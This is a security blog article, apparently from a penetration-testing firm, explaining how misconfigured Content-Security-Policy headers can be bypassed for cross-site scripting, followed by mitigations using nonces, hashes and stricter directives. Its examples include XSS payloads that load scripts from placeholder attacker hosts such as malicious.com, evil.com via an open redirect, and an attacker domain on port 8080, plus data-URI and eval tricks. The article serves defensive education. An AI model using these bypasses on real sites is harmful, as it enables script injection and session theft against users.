Bypassing Content-Security-Policy (CSP)
Written by Sagiv Michael on
Bypassing Content-Security-Policy (CSP)
Written by Sagiv Michael on
Introduction
Web applications are becoming increasingly complex, offering users a wide array of features. However, this complexity comes with a heightened risk of security vulnerabilities. One of the most common and serious threats is Cross-Site Scripting (XSS). In this attack, malicious actors inject harmful code into a web application. As a result, they can steal sensitive data, hijack user sessions, or even commit identity theft.
To address these risks and enhance the security of web applications, Content-Security-Policy (CSP) emerges as a pivotal standard. CSP is a set of security guidelines and directives that web administrators can implement. These directives instruct web browsers on where to fetch content from and what to steer clear of, minimizing the likelihood of malicious code infiltrating the application.
In this article, we will dive into the world of CSP and its important role in elevating web application security. Our exploration will include understanding how adversaries exploit CSP misconfigurations to deceive users and carry out attacks. Additionally, we will discuss effective measures to prevent such malicious exploits, ensuring that your web application remains resilient and secure.
How Does CSP Work?
Developers implement CSP using HTTP headers or HTML meta tags. When a browser loads a page with a CSP header, it only runs resources from whitelisted sources. If a resource comes from anywhere else, the browser blocks it and reports an error.
Content-Security-Policy Misconfiguration
This section shows how poor configurations can be exploited to run arbitrary JavaScript. First, we present examples that trigger Cross-Site Scripting (XSS). Next, we explain the impact of those exploits. Finally, we outline practical mitigations
Scenario
An attacker can perform a successful account takeover (for example) by utilizing Cross-Site-Scripting Attackers use Cross-Site Scripting (XSS) to steal critical data, such as session or authentication tokens. This attack succeeds when key protections are missing. For example:
- The application fails to sanitize or HTML-encode user input.
- CORS is overly permissive or not configured.
- Cookies lack the
HttpOnlyattribute. - The
SameSiteattribute is set toNoneor left unset.
Although attackers rarely need every one of these flaws, XSS remains common. Consequently, we frequently encounter it during penetration tests.
Exploitations
The following are examples of common Content Security Policy (CSP) misconfigurations that can inadvertently allow malicious script execution, including allowing scripts from any origin, permitting unsafe-inline scripts, unintentionally enabling scripts from subdomains, and more, which potentially lead to security vulnerabilities such as Cross-Site-Scripting (XSS) attacks:
The below CSP configuration enables the execution of external JavaScript from any origin (domain):
Content-Security-Policy: script-src *
An attacker could simply inject a script tag from any source with the following script:
<script src="https://malicious.com/evil.js"></script><script src="https://malicious.com/evil.js"></script>
The below CSP configurations allow the execution of inline scripts and styles:
Content-Security-Policy: script-src 'unsafe-inline'
An attacker can inject inline scripts, such as the following:
<script>alert('XSS Attack!');</script>
The below CSP configuration allows the execution of an external script from all subdomains of example.com.
Content-Security-Policy: script-src *.example.com
For example, an attacker who gained control over one of the subdomains (Subdomains Takeover) of example.com can force the web application to load a JavaScript from that subdomain:
<script src="https://malicious.example.com/evil.js"></script>
The below CSP configuration allows execution of string literal functions such as “eval()”, “setInterval()”, and “setTimeout()”:
Content-Security-Policy: script-src 'unsafe-eval'
An attacker could exploit user input to execute code via eval:
var userInput = "alert('XSS Attack!');";
eval(userInput);
The below CSP configuration depends on the HTTP scheme only:
Content-Security-Policy: script-src https:
An attacker could inject a script from any HTTPS source:
<script src="https://any-https-site.com/evil.js"></script>
The below CSP configuration enables object-src and default-src tags:
script-src 'self'
An attacker can use object tags to execute JavaScript code:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
Advanced Content-Security-Policy Exploitation
In this scenario, the CSP sets script-src 'self', allowing only scripts from the site’s domain, and object-src 'none', blocking embedded objects. However, if the application serves user-uploaded files from its domain, an attacker can upload a malicious .js file and the script-src 'self' rule will permit its execution.
An attacker could take advantage of this by uploading a file with a malicious JavaScript code, renaming it to have a .js extension, and then referencing that file within a script tag on the site. Because the malicious file is hosted on the same domain, the script-src ‘self’ directive allows its execution.
The attacker uploads a malicious file, renames a file containing malicious JavaScript code to mypic.png.js, for example, and uploads it to the application if it doesn’t correctly validate file types.
The attacker can then create a script tag that references the uploaded file, as follows:
<script src="/user_upload/mypic.png.js"></script>
If a user visits a page where this script is embedded, the JavaScript code within mypic.png.js will execute because it complies with the script-src ‘self’ directive.
The following CSP configuration allows scripts from a trusted domain, but if that domain has an open redirection vulnerability, it can load scripts from other domains.
script-src 'self' trusted.com
An attacker might use a URL, such as:
<script src="https://trusted.com/redirect?url=https://evil.com/evil.js"></script>
If trusted.com redirects to evil.com, the browser will still execute the script, as it only checks the initial URL against the policy.
The below CSP configuration allows scripts from the same origin and all data URIs. Data URIs can contain inline code, so this policy unintentionally permits inline scripting:
script-src 'self' data;
An attacker can craft a payload using a data URI containing JavaScript code, such as the following:
<script src="data:text/javascript,alert('XSS')"></script>
If the page embeds this script, it executes because the policy allows data URIs. Furthermore, the CSP configuration below permits scripts from any domain on port 8080, creating a loophole for attackers
script-src 'self' *:8080
The policy would permit execution, even though the domain is untrusted.
<script src="http://attacker-domain.com:8080/evil.js"></script>
Mitigation
First, it is important to understand that the content security policy rule comprises two distinct components:
- The directive: This part signifies the specific resource type to which the rule is applicable.
- The value: This part delineates the acceptable content for the identified resource, defining what is considered valid.
For all directives and values, check out the References section.
Working with Inline JavaScript
Here is an example of a CSP policy that can prevent an XSS attack, such as the one we demonstrated above:
Content-Security-Policy: script-src ‘self’
However, this might look like a quick fix, but there is a big downside to using the ‘self’ value with the script-src directive.
Specifying ‘self’ restricts execution to scripts from the same origin. However, this also blocks essential external scripts like jQuery.
<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
The current implementation of the script-src directive will be as follows:
Content-Security-Policy: script-src 'self' code.jquery.com
When implementing script-src ‘self’, it restricts the browser from running inline JavaScript as well, such as:
<script> alert('Greetings from the system!'); </script>
This limitation can happen with tools like Google Tag Manager. An alternative is to utilize the unsafe-inline keyword.
Content-Security-Policy: script-src 'self' 'unsafe-inline'
However, this approach is discouraged, as it allows the browser to execute all inline code, negating one of Content Security Policy’s main benefits.
A more robust solution is to generate a hash for the inline script. To do this, we can trigger the following error by script-src ‘self’ ‘unsafe-inline’ :
Refused to execute the inline script due to violation of the Content Security Policy directive: "script-src 'self'." You'll need the 'unsafe-inline' keyword, a specific hash ('sha256-ZxY7aB2cD3E4F5G6H7I8J9K0L1M2N3O4P5Q6R7S8T9U0='), or a nonce to enable inline execution.
We can now use the generated hash with our content security policy:
Content-Security-Policy: script-src 'self' 'sha256-ZxY7aB2cD3E4F5G6H7I8J9K0L1M2N3O4P5Q6R7S8T9U0='
This works well for static inline scripts but needs more dynamically generated JavaScript.
To deal with dynamic JavaScript, a nonce must be created for the <script> tag and the Content-Security-Policy header, unique to each response. With libraries like express, helmet (for better security practices), and UUID, this can be done as follows:
index.js
| const express = require(‘express’) const helmet = require(‘helmet’); const { v4: uuidv4 } = require(‘uuid’); const app = express() app.set(‘view engine’, ‘ejs’); app.use(helmet()); app.get(‘/’, (req, res) => { const nonce = uuidv4(); const csp = `script-src ‘self’ ‘nonce-${nonce}’`; res.set(“Content-Security-Policy”, csp); res.render(‘index’, { nonce: nonce, mode: ‘development’ }); }); app.listen(5000, () => { console.log(‘Application is live on port 5000’); }) |
index.ejs
| <!DOCTYPE html> <html> <head> <script nonce=”<%= nonce %>”> window.mode = ‘<%= mode %>’; </script> </head> <body> </body> </html> |
For complex Content-Security Policies, you can use the CSP Evaluator tool (see References) to check if your policies are implemented correctly.

If you have encountered any of the above scenarios, please follow the below instructions provided by Clear Gate for immediate mitigation and to prevent client’s side attacks further:
- Explicitly define the allowed domains within the CSP rather than using the wildcard. Specify only the trusted sources and avoid using wildcards.
- Remove the ‘unsafe-inline’ directive and use nonces or hashes to allow specific inline scripts, if needed.
- Be more restrictive with subdomains. List only those that are known to be safe.
- Remove the ‘unsafe-eval’ directive and avoid using eval-like functions within your application.
- Specify the exact domains allowed rather than any HTTPS source.
- Include the missing object-src and default-src directives to tighten the policy.
- Validate file types and enforce proper handling of uploaded files to prevent them from being executed as scripts.
- Remove the data scheme from the CSP to prevent the execution of inline scripts via data URIs.
- Implement proper enforcement instead of only reporting the violations.
- Specify the allowed domains explicitly instead of relying on the port. Only allow sources that are known to be safe.
Conclusion
Implementing Content-Security-Policy (CSP) is crucial in securing web applications against common vulnerabilities such as Cross-Site Scripting (XSS). This article has provided an in-depth analysis of various misconfigurations and bypass techniques that could lead to potential security breaches.
This article explores ten examples that show why CSP must be carefully configured to match the application’s specific requirements. Utilizing wildcard characters, permitting unsafe directives, or failing to include all necessary directives could expose the application to malicious code execution.
In conclusion, while CSP is a powerful tool for enhancing web security, its effectiveness is contingent on thoughtful implementation and continuous oversight. Adhering to best practices and avoiding common pitfalls can build a robust defense against potential attacks, protecting the application’s integrity and users’ privacy. Proper CSP configuration, regular security audits, and vigilance towards emerging threats will be a strong foundation for maintaining a secure web environment.
Organizations should prioritize cyber security risk assessments and penetration tests to mitigate risks in Content-Security-Policy deployments, which have become increasingly popular among companies developing SaaS products. Clear Gate, a trusted cybersecurity provider, offers in-depth manual penetration tests to help organizations strengthen their security and protect valuable data from potential threats.